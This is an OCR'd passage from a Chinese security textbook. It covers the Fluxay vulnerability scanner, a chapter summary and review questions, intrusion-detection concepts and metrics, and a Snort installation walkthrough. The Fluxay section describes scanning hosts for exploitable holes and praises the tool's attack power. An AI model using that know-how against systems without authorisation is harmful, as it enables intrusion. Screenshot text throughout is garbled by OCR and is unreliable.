图 5-29 X-Scan 扫描 报告 2 
(2) 流光 (Fluxay4.7)。 流 光 是 一 个 由 国内 黑客 开发 的 非常 出 色 的 漏洞 扫描 工具 ,并 且 
具有 很 强 的 攻击 性 ,是 国内 年 轻 黑客 最 喜欢 的 扫描 工具 之 一 。 流 光 功 能 强大 、 使 用 简易 、 界 
面 友好 ,即使 对 网 络 并 不 是 十 分 精通 的 人 也 可 以 使 用 流光 工具 攻击 许多 主机 。 流 光 的 启动 
界面 ,如 图 5-30 所 示 。 


< .小 榕 软件 -〖 流 光 5.0】Build 3310 (0 用 户 ) le) x) 


Ec IMAP 主 机 
D8 Frp 主机 
OG are 主机 
O PRoxY 主 机 
(COM Form 主机 
OB msa 主机 
SDS 畏 册 主机 
OD sre 主机 
DË pcf 主机 
09 解码 宇 典 或 方案 
OG 探 出 历史 纪录 


127.0.0.1 Remote Execute-A 
127.0.0.1 Remote Ftp SAM-A 


国 ERRE 1995-2002 TER 版 权 所 有 


[Fs ea Oaa [ao | 
Drip any@any.net 127.0.0.1 FTP 
1—| AP 单词 线程 | swe | as 


(eT See See ee orasiga ua 
图 5-30 流光 启动 界面 
流光 使 用 上 非常 方便 实用 ,通过 “高 级 扫描 向 导 ”, 可 以 很 方便 地 进行 一 个 扫描 任务 的 设 
置 ,如 图 5-31 所 示 ; 也 可 以 直接 选择 “高 级 扫描 工具 ”。 
在 “探测 ?选项 中 ,还 有 两 种 探测 模式 : 简单 模式 探测 .标准 模式 探测 ,这些 探 测 需 要 配 
合 黑客 字典 进行 的 ,这 种 枚 举 式 探测 也 算是 最 无 奈 的 办 法 了 。 
在 “高 级 扫描 设置 "中 , 单 击 CGI Holes 标签 ,进入 CGI Holes 扫描 设置 。 在 选择 列表 
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信息 安全 与 技术 
= | feweon 
济 =] 


|) a | 
高 级 扫描 向 导 
选择 需要 检测 的 CGI 规则 ,默认 情况 下 所 有 规则 都 会 被 选取 。CGI 规则 


图 5-31 
中 ,可 以 根据 需要 
可 以 根据 需要 加 入 。 如 图 5-32 所 示 。 
advance scansetup MM 2 
Scan Setup | PORTS | POP3 | FTP | SMTP | IMAP | TELNET | Cal 
CGIHoles | SQL | IPC [us | FINGER] RPC | MISC | PLUGINS | Option 


5-32 CGI MM 


- 份 扫描 报告 ,将 


将 所 有 要 扫描 的 规则 设置 好 后 ,开始 扫描 。 扫 描 结束 后 ,系统 会 输出 
通过 扫描 报告 ,可 以 了 解 到 被 扫描 主机 所 存在 的 各 种 安全 漏洞 .并 选择 相应 的 方法 进行 


扫描 的 结果 以 网 页 的 形式 显示 出 来 ,如 图 5-33 TAR o 
小 结 


avo 
Fe 
要 是 系统 和 数据 ; 攻击 手段 主要 有 主动 攻击 和 被 动 攻 


攻击 或 人 侵 。 
d) 叙述 了 网 络 攻击 的 目标 了 
击 ; 按照 网 络 攻击 所 使 用 的 方法 不 同 , 产 生 的 危害 程度 也 不 同 ,一般 划分 为 7 个 层次 ; 以 及 
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[EEO fE) c:\program Fles\Fhnxay\Reports|127.0.0.1-127.0.0.1.hemnl z] è 


FTP 
FTp 版 本 信息 : adserver Microsoft FTP Service (Version 5.0). | 


允许 匿名 登录 


sMTP 扫 撕 


SMTP 版 本 信息 ; 220 adserver Microsoft ESMTP MAIL Service, Version: 5.0.2172.1 ready at Fri, 16 Dec 2005 
13:33:25 +0800 


支持 vRFY 
RecA 
Microsoft Windows NT/2000/XP/2003 RPC DCOM 线 冲 区 送出 漏洞 (Ms03-26) Exploit 
| fl 
eR O T a 
图 5-33 扫描 报告 


网 络 攻击 的 分 类 和 一 般 模 型 。 
(2) 叙述 了 信息 收集 技术 的 步骤 ,方法 .工具 等 。 详 细 解释 网 络 踩点 、 网 络 扫描 、 网 络 


监听 。 


(3) 介绍 了 网 络 人 侵 的 主要 攻击 手段 ,包括 社会 工程 学 攻击 口令 攻击 漏洞 攻击 .欺骗 
攻击 ,拒绝 服务 攻击 等 。 描 述 各 种 工具 的 分 类 攻击 手段 ,攻击 方法 。 

CA) 详细 介绍 了 网 络 后 门 与 网 络 隐 身 技术 。 介 绍 了 网 络 后 门 概念 、 如 何 设置 代理 跳板 、 
清除 日 志 等 。 


COND FF wD 


思 考题 


. 简 述 基于 主机 的 扫描 器 和 基于 网 络 的 扫描 器 的 异同 。 

. 常用 的 扫描 技术 有 哪 几 种 ? 

. 简 述 IP 欺骗 攻击 原理 。 

. fa DDoS 攻击 的 概念 。 

. 攻击 一 般 有 哪 几 个 步骤 ? 

. 传统 病毒 和 木马 蠕虫 各 有 哪些 特点 和 区 别 ? 

. 目标 信息 收集 是 黑客 攻击 首先 要 做 的 工作 ,可 以 通过 哪些 方法 收集 哪些 信息 ? 
. 为 什么 远程 计算 机 的 操作 系统 可 以 被 识别 ? 

. 结合 身边 的 网 络 环境 或 现实 的 攻击 实例 ,了 解 攻击 者 使 用 的 网 络 攻击 方法 。 
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传统 上 ,企业 网 络 一 般 采 用 防火 墙 作 为 安全 的 第 一 道 防线 ,但 随 着 攻击 工具 与 手法 的 日 
趋 复杂 多 样 ,单纯 的 防火 墙 策略 已 经 无 法 满足 对 网 络 安全 的 进一步 需要 ,网 络 的 防卫 必须 采 
用 一 种 纵深 的 多样 化 的 手段 。 入 侵 检测 系统 是 继 防 火 墙 之 后 ,保护 网 络 安全 的 第 二 道 防 
线 , 它 可 以 在 网 络 受到 攻击 时 ,发 出 警报 或 者 采取 一 定 的 干预 措施 ,以 保证 网 络 的 安全 。 


6.1 人 侵 检测 的 概念 


入 侵 是 指 任何 企图 危及 资源 的 完整 性 .机 密 性 和 可 用 性 的 活动 。 入 侵 检 测 (Intrusion 
Detection) ,顾名思义 , 便 是 对 入 侵 行为 的 发 觉 。 它 通过 对 计算 机 网 络 或 计算 机 系统 中 的 若 
干 关键 点 收集 信息 并 对 其 进行 分 析 , 从 中 发 现 网 络 或 系统 中 是 否 有 违反 安全 策略 的 行为 和 
被 攻击 的 迹象 。 

入 侵 检 测 技术 是 为 保证 计算 机 系统 和 计算 机 网 络 系统 的 安全 而 设计 与 配置 的 一 种 能 够 
及 时 发 现 并 报告 系统 中 未 授权 或 异常 现象 的 技术 。 

人 侵 检 测 系 统 (Intrusion Detection System,IDS) 是 进行 人 侵 检 测 的 软件 与 硬件 的 组 
合 。 该 系统 对 系统 资源 的 非 授 权 使 用 能 够 做 出 及 时 的 判断 .记录 和 报警 。 与 其 他 安全 产品 
不 同 的 是 ,入 侵 检 测 系统 需要 更 多 的 智能 , 它 必 须 可 以 对 得 到 的 数据 进行 分 析 , 并 得 出 有 用 
的 结果 。 一 个 合格 的 入 侵 检测 系统 能 大 大 简化 管理 员 的 工作 ,保证 网 络 安 全 的 运行 。 


6.1.1 入 侵 检 测 系统 的 功能 及 工作 过 程 


入 侵 检测 系统 是 网 络 防火 墙 的 逻辑 补充 ,扩展 了 系统 管理 员 的 安全 管理 能 力 , 智 能 发 现 
攻击 ,记录 并 发 出 报警 信息 ,启动 响应 动作 。 

入 侵 检测 系统 与 防火 墙 功能 互补 的 关系 ,通过 合理 搭配 部 署 和 联动 提升 网 络 安全 级 别 ， 
如 图 6-1 所 示 。 

入 侵 检测 系统 可 以 检测 来 自 外 部 和 内 部 的 入 侵 行为 和 资源 滥用 ; 防火 墙 在 关键 边界 点 
进行 访问 控制 ,实时 地 发 现 和 阻 断 非法 数据 。 它 们 在 功能 上 相辅相成 ,在 网 络 安全 中 承担 不 
同 的 角色 。 


lait 
6-1 入 侵 检 测 系统 与 防火 墙 功能 的 关系 
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入 侵 检测 系统 的 主要 功能 如 下 。 

(1) 实时 检测 。 监 控 并 分 析 用 户 和 系统 活动 ,实时 地 监视 .分 析 网 络 中 所 有 的 数据 包 ; 
发 现 并 实时 处 理 所 捕获 的 数据 包 , 识 别 活动 模式 以 反应 已 知 攻击 。 

(2) 安全 审计 。 对 系统 记录 的 网 络 事件 进行 统计 分 析 ; 发 现 异常 现象 ; 得 出 系统 的 安 
全 状态 , 找 出 所 需要 的 证 据 。 

(3) 主动 响应 。 主 动 切断 连接 或 与 防火 墙 联动 ,调用 其 他 程序 处 理 。 

(4) 评估 统计 。 评 估 关 键 系统 和 数据 文件 的 完整 性 ,统计 分 析 异 常 活动 模式 。 


6.1.2 入 侵 检 测 技术 的 分 类 


和信 侵 检测 按 技术 可 以 分 为 特征 检测 (Signature-Based Detection) 和 异常 检测 (Anomaly 
Detection) 。 按 监测 对 象 可 以 分 为 基于 主机 的 入 侵 检测 (HIDS) 和 基于 网 络 的 入 侵 检测 
(NIDS) 。 

1. 特征 检测 

特征 检测 是 收集 非 正常 操作 的 行为 特征 ,建立 相关 的 特征 库 , 当 监测 的 用 户 或 系统 行为 
与 库 中 的 记录 相 匹 配 时 ,系统 就 认为 这 种 行为 是 入 侵 。 特 征 检测 可 以 将 已 有 的 入 侵 方 法 检 
查 出 来 ,但 对 新 的 入 侵 方 法 无 能 为 力 。 

特征 检测 的 难点 是 如 何 设计 模式 既 能 够 表达 “入 侵 " 现 象 又 不 会 将 正常 的 活动 包含 进 
来 ,采取 的 主要 方法 是 模式 匹配 。 

2. 异常 检测 

异常 检测 是 总 结 正常 操作 应 该 具有 的 特征 ,建立 主体 正常 活动 的 “活动 简 档 ”, 当 用 户 活 
动 状 况 与 “活动 简 档 " 相 比 ,有 重大 偏离 时 即 被 认为 该 活动 可 能 是 ”入侵 "行为 。 

异常 检测 的 技术 难点 是 如 何 建立 “活动 简 档 ”以 及 如 何 设计 统计 算法 ,从 而 不 把 正常 的 
操作 作为 “入 侵 ” 或 忽略 真正 的 “入 侵 ” 行 为 ,常用 方法 是 概率 统计 。 

3. 基于 主机 的 入 侵 检 测 

基于 主机 的 入 侵 检测 (HIDS) 主 要 用 于 保护 运行 关键 应 用 的 服务 器 或 被 重点 检测 的 主 
机 之 上 。 它 主要 是 对 该 主机 的 网 络 实时 连接 以 及 系统 审计 日 志 进 行 智能 分 析 和 判断 。 如 果 
其 中 主体 活动 十 分 可 疑 (特征 或 违反 统计 规律 ), 入 侵 检测 系统 就 会 采取 相应 措施 。 

基于 主机 的 人 侵 检测 的 优点 主要 表现 在 以 下 几 个 方面 。 

(1) 入 侵 行为 分 析 能 力 。HIDS 对 分 析 “ 可 能 的 攻击 行为 ”非常 有 用 ,除了 指出 入 侵 者 试 
图 执行 一 些 “ 和 危险 的 命令 ?之 外 ,还 能 分 辨 出 入 侵 者 干 了 什么 事 , 如 运行 了 什么 程序 .打开 了 
哪些 文件 ,执行 了 哪些 系统 调用 等 行为 。 

(2) 误 报 率 低 。 通 常情 况 下 , HIDS 比 NIDS 能 够 提供 更 详尽 的 相关 信息 , 误 报 率 比 
较 低 。 

G) 复杂 性 小 ,性 能 价格 比 高 。 因 为 监测 在 主机 上 运行 的 命令 序列 比 监 测 网 络 流 来 得 
简单 。 

(4) 网 络 通信 要 求 低 。 对 于 主机 的 检测 ,网络 通信 量 低 ,可 部 署 在 那些 不 需要 广泛 的 人 
侵 检测 ,传感器 与 控制 台 之 间 的 通信 带宽 不 足 的 情况 下 。 

基于 主机 的 和 人 侵 检测 的 缺点 主要 表现 在 以 下 几 个 方面 。 
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(1) 影响 保护 目标 。 因 为 HIDS 安装 在 需要 保护 的 设备 上 ,所 以 可 能 会 降低 应 用 系统 
的 效率 , 带 来 一 些 额 外 的 安全 问题 。 例 如 ,安装 了 HIDS 后 ,将 本 不 允许 安全 管理 员 访 问 的 
服务 器 变 成 他 可 以 访问 的 服务 器 了 等 。 

(2) 服务 器 依赖 性 。 依 赖 于 主机 固有 的 日 志 与 监视 能 力 。 如 果 主 机 没有 配置 日 志 功 
能 , 则 必须 重新 配置 ,这 将 会 给 运行 中 的 业务 系统 带 来 不 可 预见 的 性 能 影响 。 

(3) 全 面部 署 代价 大 。 如 果 网 络 上 主机 比较 多 ,全 面部 署 基于 主机 的 入 侵 检测 系统 , 代 
价 会 比较 大 。 若 选择 部 分 主机 保护 ,那些 未 安装 HIDS 的 机 器 将 成 为 保护 的 盲点 ,入 侵 者 可 
利用 这 些 机 器 达到 攻击 目标 。 

(4) 不 能 监测 网 络 上 的 情况 。 基 于 主机 的 入 侵 检 测 系统 除了 监测 自身 的 主机 以 外 , 根 
本 不 监测 网 络 上 的 情况 ,对 入 侵 行 为 的 分 析 的 工作 量 将 随 着 主机 数目 增加 而 增加 。 

4. 基于 网 络 的 入 侵 检测 

基于 网 络 的 人 侵 检测 是 大 多 数 入 侵 检测 厂商 采用 的 产品 形式 。 通 过 捕获 和 分 析 网 络 包 
来 探测 攻击 。 基 于 网 络 的 入侵 检测 可 以 在 网 段 或 者 交换 机 上 进行 监听 ,来 检测 对 连接 在 网 
段 上 的 多 个 主机 有 影响 的 网 络 通信 ,从 而 保护 这 些 主机 。 

基于 网 络 的 人 侵 检测 的 优点 主要 表现 在 以 下 几 个 方面 。 

(1) 网 络 通信 检测 能 力 。NIDS 能 够 检测 那些 来 自 网 络 的 攻击 ,也 能 够 检测 到 超过 授权 
的 非法 访问 ,对 正常 业务 影响 少 。 

(2) 无 须 改 变 主 机 配置 和 性 能 。 由 于 它 不 会 在 业务 系统 中 的 主机 中 安装 额外 的 软件 ， 
从 而 不 会 影响 这 些 机 器 的 CPU .IO 与 磁盘 等 资源 的 使 用 ,不 会 影响 业务 系统 的 性 能 。 

G) 部 署 风 险 小 ,独立 性 和 操作 系统 无 关 性 。 因 为 NIDS 不 像 路 由 器 、 防 火 墙 等 关键 设 
备 方式 工作 ,所 以 它 不 会 成 为 系统 中 的 关键 路 径 , NIDS 发 生 故 障 不 会 影响 正常 业务 的 运 
行 , 部 署 NIDS 的 风险 比 HIDS 的 风险 少 得 多 。 

(4) 定制 设备 ,安装 简单 。NIDS 近年 内 有 向 专门 的 设备 发 展 的 趋势 ,安装 NIDS 系统 
非常 方便 ,只 需 将 定制 的 设备 接 上 电源 ,做 很 少 一 些 配 置 ,将 其 接 上 网 络 即 可 。 

基于 网 络 的 人 侵 检测 的 缺点 主要 表现 在 以 下 几 个 方面 。 

(1) 不 能 检测 不 同 网 段 的 网 络 包 。NIDS 只 检测 它 直 接连 接 网 段 的 通信 ,不 能 检测 在 不 
同 网 段 的 网 络 包 , 所 以 在 交换 以 太 网 环境 中 就 会 出 现 它 的 检测 范围 的 局 限 ,在 多 传感器 系统 
中 会 使 部 署 成 本 增加 。 

(2) 很 难 检 测 复杂 的 需要 大 量 计算 的 攻击 。NIDS 为 了 性 能 目标 通常 采用 特征 检测 的 
方法 , 它 可 以 高 效 地 检测 出 普通 的 一 些 攻击 , 若 实现 一 些 复杂 的 需要 大 量 计算 与 分 析 时 间 的 
攻击 检测 时 ,对 硬件 处 理 能 力 要 求 较 高 。 

G) 协同 工作 能 力 弱 。NIDS 可 能 会 将 大 量 的 数据 传 回 分 析 系 统 中 ,会 产生 大 量 的 分 析 
数据 流量 。 采 用 以 下 方法 可 减少 传 回 的 数据 量 : 对 入 侵 判 断 的 决策 由 传感器 实现 ,而 中 央 
控制 台 成 为 状态 显示 与 通信 中 心 ,不 再 作为 入侵 行为 分 析 器 ,但 是 这 样 的 设计 也 会 使 系统 中 
的 传感器 协同 工作 能 力 变 得 较 弱 。 

(4) 难以 处 理 加 密 的 会 话 。NIDS 处 理 加 密 的 会 话 过 程 时 ,会 参与 解密 操作 。 目 前 通过 
加 密 通道 的 攻击 尚 不 多 , 随 着 IPv6 的 普及 ,这 个 问题 会 越 来 越 突 出 。 
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6.1.3 入 侵 检测 系统 的 性 能 指标 


网 络 入 侵 检 测 系统 的 性 能 指标 主要 包括 3 类 , 即 准确 性 指标 、 效 率 指标 和 系统 指标 。 

1. 准确 性 指标 

准确 性 指标 在 很 大 程度 上 取决 于 测试 时 采用 的 样本 集 和 测试 环境 。 样 本 集 和 测试 环境 
不 同 , 准 确 性 也 不 相同 。 准 确 性 指标 主要 包括 3 个 指标 , 即 检测 率 、 误 报 率 和 漏 报 率 。 

(1) 检测 率 。 检 测 率 是 指 被 监视 网 络 在 受到 入 侵 攻击 时 ,系统 能 够 正确 报警 的 概率 。 
通常 利用 已 知人 侵 攻击 的 实验 数据 集合 来 测试 系统 的 检测 率 。 

检测 率 一 入 侵 报警 的 数量 /入 侵 攻 击 的 数量 

(2) 误 报 率 。 误 报 率 是 指 系 统 把 正常 行为 作为 人 侵 攻击 而 进行 报警 的 概率 和 把 一 种 周 
知 的 攻击 错误 报告 为 另 一 种 攻击 的 概率 。 

误 报 率 一 错误 报警 数量 /( 总 体 正 常 行为 样本 数量 十 总 体 攻击 样本 数量 ) 

一 个 有 效 的 入侵 检测 系统 应 限制 误 报 出 现 的 次 数 ,但 同时 又 能 有 效 拦截 。 误 报 是 入 侵 
检测 系统 最 头疼 的 问题 ,攻击 者 可 以 而 且 往往 是 利用 包 的 结构 伪造 无 威胁 的 “正常 ? 假 警 报 ， 
而 诱导 没有 警觉 性 的 管理 人 员 把 入侵 检测 系统 关 掉 。 

(3) 漏 报 率 。 漏 报 率 是 指 被 检测 网 络 受 到 入 侵 攻 击 时 ,系统 不 能 正确 报警 的 概率 。 通 
常 利用 已 知人 侵 攻击 的 实验 数据 集合 来 测试 系统 的 漏 报 率 。 

漏 报 率 = 不 能 报警 的 数量 /入 侵 攻 击 的 数量 

2. 效率 指标 

效率 指标 根据 用 户 系统 的 实际 需求 ,以 保证 检测 质量 为 准 ; 同时 取决 于 不 同 的 设备 级 
别 , 如 百 兆 网 络 入 侵 检测 系统 和 千 兆 网 络 人 侵 检测 系统 的 效率 指标 一 定 有 很 大 差别 。 效 率 
指标 主要 包括 最 大 处 理 能 力 、 每 秒 并 发 TCP 会 话 数 .最 大 并 发 TCP 会 话 数 等 。 

(1) 最 大 处 理 能 力 是 指 网 络 人 侵 检 测 系统 在 检测 率 下 系统 没有 漏 警 的 最 大 处 理 能 力 。 
目的 是 验证 系统 在 检测 率 下 能 够 正常 报警 的 最 大 流量 。 

(2) 每 秒 并 发 TCP 会 话 数 是 指 网 络 人 侵 检 测 系统 每 秒 最 大 可 以 增加 的 TCP 连接 数 。 

(3) 最 大 并 发 TCP 会 话 数 是 指 网 络 人 侵 检 测 系统 最 大 可 以 同时 支持 的 TCP 连接 数 。 

3. 系统 指标 


系统 指标 主要 表征 系统 本 身 运 行 的 稳定 性 和 使 用 的 方便 性 。 系 统 指标 主要 包括 最 大 规 
则 数 .平均 无 故障 间隔 等 。 

(1) 最 大 规则 数 是 指 系统 允许 配置 的 入 侵 检 测 规则 条 目的 最 大 数目 。 

(2) 平均 无 故障 间隔 是 指 系 统 无 故障 连续 工作 的 时 间 。 

由 于 网 络 人 侵 检测 系统 是 软件 与 硬件 的 组 合 , 故 性 能 指标 同样 取决 于 软 硬 件 两 方面 的 
因素 。 软 件 因素 主要 包括 数据 重组 效率 、 入 侵 分 析 算 法 ,行为 特征 库 等 因素 ; 硬件 因素 主要 
包括 CPU 处 理 能 力 、 内 存 大 小 、 网 卡 质量 等 因素 。 因 此 ,在 考虑 性 能 指标 时 一 定 要 结合 网 
络 人 侵 检测 系统 的 软件 和 硬件 情况 。 另 外 ,由 于 网 络 安全 的 要 求 在 提高 ,黑客 攻击 技术 、 漏 
洞 发 现 技术 和 入 侵 检测 技术 在 发 展 , 网 络 人 侵 检测 系统 的 升级 管理 功能 也 是 重要 的 指标 之 
一 。 用 户 应 当 可 以 及 时 获得 升级 的 入侵 特征 库 或 升级 的 软件 版 本 ,保证 网 络 入侵 检 测 系统 
的 有 效 性 。 
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6.2 ”网络 人 侵 检测 系统 产品 


6.2.1 入 侵 检 测 系统 简介 


入 侵 检测 系统 作为 最 常见 的 网 络 安全 产品 之 一 ,已 经 得 到 了 非常 广泛 的 应 用 。 当 前 网 
络 人 侵 检 测 系 统 的 产品 有 很 多 ,主要 有 Snort、 金 诺 网 安安 氏 的 领 信 IDS JA HA E R R 
系列 .联想 的 联想 网 御 IDS、 东 软 、 绿 盟 科 技 的 冰 之 眼 系 列 、 中 科 网 威 的 天 眼 IDS、 思 科 的 
Cisco IDS、CA 的 eTrust IDS 等 。 


6.2.2 Snort 入 侵 检 测 系统 


1. Snort 简介 

Snort 是 Martin Roesch 等 人 开发 的 一 种 开放 源码 的 入 侵 检 测 系统 。Martin Roesch 把 
Snort 定位 为 一 个 轻 量 级 的 入侵 检测 系统 。 它 具有 实时 数据 流量 分 析 和 IP 数据 包 日 志 分 
析 的 能 力 ,具有 跨 平台 特征 ,能 够 进行 协议 分 析 和 对 内 容 的 搜索 /匹配 。 它 能 够 检测 不 同 的 
攻击 行为 ,如 缓冲 区 溢出 ,端口 扫描 、DoS 攻击 等 ,并 进行 实时 报警 。 

Snort 有 3 种 工作 模式 : 嗅 探 器 ,数据 包 记 录 器 、 网 络 入 侵 检测 系统 。 嗅 探 器 模式 仅仅 
是 从 网 络 上 读 取 数据 包 并 作为 连续 不 断 的 流 显示 在 终端 上 。 数 据 包 记录 器 模式 把 数据 包 记 
录 到 硬盘 上 。 网 络 人 侵 检测 系统 模式 是 最 复杂 的 ,而 且 是 可 配置 的 。 可 以 让 Snort 分 析 网 
络 数 据 流 以 匹配 用 户 定义 的 一 些 规则 ,并 根据 检测 结果 采取 一 定 的 动作 。 

2. 系统 结构 

Snort 具有 良好 的 扩展 性 和 可 移植 性 ,可 支持 Linux, Windows 等 多 种 操作 系统 平台 ， 
在 本 书 中 主要 介绍 Snort 在 Windows 操作 系统 中 的 安装 和 使 用 方法 。 

基于 Snort 和 BASE 的 入 侵 检 测 系 统 通 常 采 用 “传感器 一 数据 库 一 分 析 平 台 ” 的 三 层 架 
构 体系 。 传 感 器 即 网 络 数 据 包 捕 获 转 储 程序 。 

(1) WinPcap 作为 系统 底层 网 络 接 口 驱动 ,Snort 作为 数据 报 捕获 ,筛选 和 转 储 程序 ,两 
者 即 可 构成 IDS 的 传感器 部 件 。 为 了 完整 覆盖 监控 可 以 根据 网 络 分 布 情况 在 多 个 网 络 关 
键 节点 上 分 别 部 署 IDS 传感器 。 

(2) Snort 获得 记录 信息 后 可 以 存储 到 本 地 日 志 , 也 可 以 发 送 到 Syslog 服务 器 或 是 直 
接 存储 到 数据 库 中 ,数据 库 可 以 是 本 地 也 可 以 是 远程 的 , Snort 支持 MySQL, MSSQL, 
PostgreSQL, ODBC, Oracle 等 数据 库 接口 ,扩展 性 非常 好 。 

(3) Snort 的 日 志 记 录 仅 仅 包含 网 络 数据 包 的 原始 信息 ,对 这 些 大 量 的 原始 信息 进行 人 
工整 理 分 析 是 一 件 非常 耗 时 而 且 低 效率 的 事情 ,还 需要 一 个 能 够 操作 查询 数据 库 的 分 析 平 
台 。 无 论 是 从 易 用 性 还 是 平台 独立 性 考虑 , Web 平台 都 是 首选 。ACID 是 Snort 早期 最 流 
行 的 分 析 平 台 , 使 用 PHP 开发 ,不 过 之 后 的 一 段 时 间 开 发 组 不 再 更 新 和 支持 这 套 系统 , 现 
在 已 经 由 基于 ACID 再 开发 的 BASE 所 取代 。 

这 3 种 角色 既 可 以 部 署 于 同一 个 主机 平台 ,也 可 以 部 署 在 不 同 的 物理 平台 上 ,架构 组 织 
非常 灵活 。 如 果 仅 仅 需要 一 个 测试 研究 环境 , 单 服务 器 部 署 是 一 个 不 错 的 选择 ; 而 如 果 需 
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要 一 个 稳定 高 效 的 专业 IDS 平 台 ,那么 多 层 分 布 的 IDS 无 论 是 在 安全 方面 还 是 在 性 能 方面 
都 能 够 满足 。 具 体 的 部 署 方案 还 要 取决 于 实际 环境 需求 。 


3. 安装 环境 


一 台 安 装 Windows2000/XP/2003 操作 系统 的 计算 机 ,连接 到 本 地 局 域 网 中 。 需 要 安 
装 部 署 的 软件 包 , 如 表 6-1 所 示 。 


表 6-1 需要 部 署 软件 包 及 下 载 地址 


软件 名 称 下 载 网 址 作 用 
WinPcap 4.1.2 http://winpcap. polito. it 网 络 数据 包 截 取 驱 动 程序 
Snort 2. 9. 3 for Win32 http://www. snort. org Windows 版 本 的 Snort 安装 包 
M; L 5.5. Win32; M; 2 
a E ny BRS” ee MySQL 数据 库 及 管理 工具 


GUI Tools 5.0 r12 for Win32 


ADODB 4. 95a( Active Data Objects 
Data Base for PHP5) 


http://sourceforge. net/project/ 


showfiles. php? group_id=42718 


PHP5 的 数据 库 连 接 组 件 ( 支 持 
MySQL/MSSQL/PostageSQL 等 ) 


Apache 2. 2. 6 


http://apache. mirror. phpchina. 
com/httpd/binaries/win32/ 


分 析 平 台 


PHP 5. 2. 4 for Win32 Non-install; 


全 
PEAR 1.6.1 http://www. php. net 分 析 平 台 
adodb Web 前 端 
acid 

4. 安装 软件 


1) WinPcap 安装 


WinPcap 是 现成 的 安装 程序 ,过 程 非 常 简单 。 双 击 已 下 载 的 安装 程序 "WinPcap_4_1_ 
2. exe”, 弹 出 如 图 6-2 所 示 的 安装 界面 。 接 下 来 全 部 采用 默认 安装 即 可 。 


This product is brought to you by 


Nullsoft Install System v2.46 


WinPcap 4.1.2 Installer 


Welcome to the WinPcap 4.1.2 Installation Wizard 


CACE 


TECHNOLOGIES 


Packet Capturing and Network Analysis Solutions 


图 6-2 WinPcap 安装 界面 


158 信息 安全 与 技术 


2) Snort 安装 


Snort 的 安装 过 程 也 非常 简单 。 双 击 已 下 载 的 安装 程序 “Snort_2_9_3_Installer. exe”, 
弹出 如 图 6-3 所 示 的 安装 界面 。 在 设置 Snort 的 安装 路 径 时 ,将 Snort 安装 在 非 系 统 分 区 
内 ,这 里 设 为 “d:\ Snort”. Wl 6-4 所 示 。 其 他 设置 采用 默认 安装 。 安 装 完 Snort 后 ， 
“rules” 目 录 下 还 是 空 的 ,需要 将 另外 下 载 的 Snort 规则 包 解 压 复 制 到 Snort 安装 目录 下 , 注 
意 规则 包 所 对 应 的 版 本 。 

修改 Snort 的 设置 文件 : d:\snort\rules\var\snort. conf. 
设置 规则 包 路 径 : var d:\snort\rules。 


@ Snort 2.9.3 Setup 


License Agreement 


Please review the license terms before installing Snort 2.9.3, 


Press Page Down to see the rest of the agreement. 


[hererenrrrrrrerrrererersrerertrccrricrrcrrrlrrtrst iS rlrrrcrrerrrlrtir’ 
jeere 


[The text that follows is the GNU General Public License, Version 2 (GPL V2) 


‘governs your use, modfication and/or distribution of SNORT. 
ction 9 of the GPL V2 acknowledges that the Free Software Foundation may 
ree to use any such revised and/or new versions under two different scenarios: 
1. "Failure to Specify." Section 9 of the GPL V2 allows a licensee of a 


If you accept the terms of the agreement, click I Agree to continue, You must accept the 
agreement to install Snort 2.9.3. 


Nullsoft Install System v2.46 


图 6-3 Snort 安装 界面 


© Snort 2.9.3 Setup 


Choose Install Location 
Choose the Folder in which to install Snort 2.9.3, 


will install Snort 2.9.3 in the Following folder, To install in a different folder, click Browse 
and select another folder. Click Next to continue. 


图 6-4 设置 Snort 的 安装 路 径 


3) MySQL 安装 


这 次 使 用 的 是 MySQL 5. 5. 29 for Win32 的 完整 安装 程序 。 软 件 包 的 安装 较 简 单 , 服 
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务 端 和 客户 端 程序 是 必 选 组 件 ,其 他 可 根据 需要 选择 安装 ,建议 安装 在 非 系统 分 区 。 安 装 过 
程 如 图 6-5 一 图 6-10 所 示 。 


Installer 


The MySQL Installer guides you through the installation and configuration of your 
MySQL products. Run it from the Start Menu to perform maintenance tasks later. 


Select one of the actions below: 


Install MySQL Products 
Guide you through the installation and configuration of your 
MYSQL products. 


About MySQL 
Learn more about MYSQL products and better understand how 
you can benefit the most. 


Resources 
‘Get more information on how to install MySQL and configure it 
to run efficiently on your machine. 


Copyright © 2012, Oracle andior ts affiliates. AI rights reserved. Oracle is a registered trademark oF 
racle Corporation andfor its affiliates. Other names may be trademarks of their respective owners 


6-5 MySQL 安装 界面 1 


国 mySqL Installer 


uN 
MySQL. Installer 


License Agreement 


To install MySQL, you must accept the Oracle Software License Terms. 


“GNU GENERAL PUBLIC LICENSE 
Version 2, June 1991 


Copyright (C) 1969, 1991 Free Software Foundation, Inc, 
51 Frankin Street, Fifth Floor, Boston, MA 02110-1301 USA 
Everyone is permitted to copy and distribute verbatim copies 
lof this icense document, but changing it is not allowed, 


Preamble 


|The licenses for most software are designed to take away your freedom 
kto share and change it. By contrast, the GNU General Public License is 
Intended to guarantee your freedom to share and change free 
Isoftware-to make sure the software is free for all ts users, This 
|General Public License applies to most of the Free Software 

Foundation’s software and to any other program whose authors commit to 
lusing t. (Some other Free Software Foundation software is covered by 
the GNU Library General Public License instead.) You can apply it to 

lyour programs, too, 


When we speak of free software, we are referring to freedom, not price. 
lOur General Public Licenses are designed to make sure that you have 
kthe freedom to distribute copies of free software (and charge for this 
service F you wish), that you receive source code or can get R F you 
lwant i, that you can change the software or use pieces oF It in new 
free programs; and that you know you can do these things. 


[T accent the icense terms) 


图 6-6 MySQL 安装 界面 2 
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Bi aysql Installer 


ER Choosit Setup T) 
MySQL. Installer ma aree Te 


Please select the Setup Type that suits your use case. 


© Developer Default Setup Type Description 
Inetals all products needed for [installs all of the products available in this catalog 


= Including MYSQL Server, MySQL Workbench, 
MYSQL development purposes. IMySQL Connectors, documentation, samples and 
lexamples and much more. 


© Server only 


Installs only the MySQL Server 
product, 


© Client only 
Installs only the MySQL Client 
products, without a server, 


© Full Installation Path: 


Installs all included MySQL products [Program Fles|mySuy m 


and features. 


© Custom Data Path 


Manually select the products that [Documents and Settings\All Users\Applcal 


should be installed on the system. 


图 6-7 MySQL 安装 界面 3 
SQL Installer 


uN Installation Progress 
MySQL. Installer 


The following products will be installed or updated. 
Product Status Progress Notes 
[E] wsa server 5.5.29 instaling 


MySQL Workbench CE 5.2.44 To be installed 
MySQL Notifier 1.0.3 Tobe installed 
Connector/ODBC 5.1.11 Tobe installed 


Connector/C++ 1.1.0 To be installed 
Connector{C 6.0.2 Tobe installed 


Connector/3 5.1.20.0 To be installed 


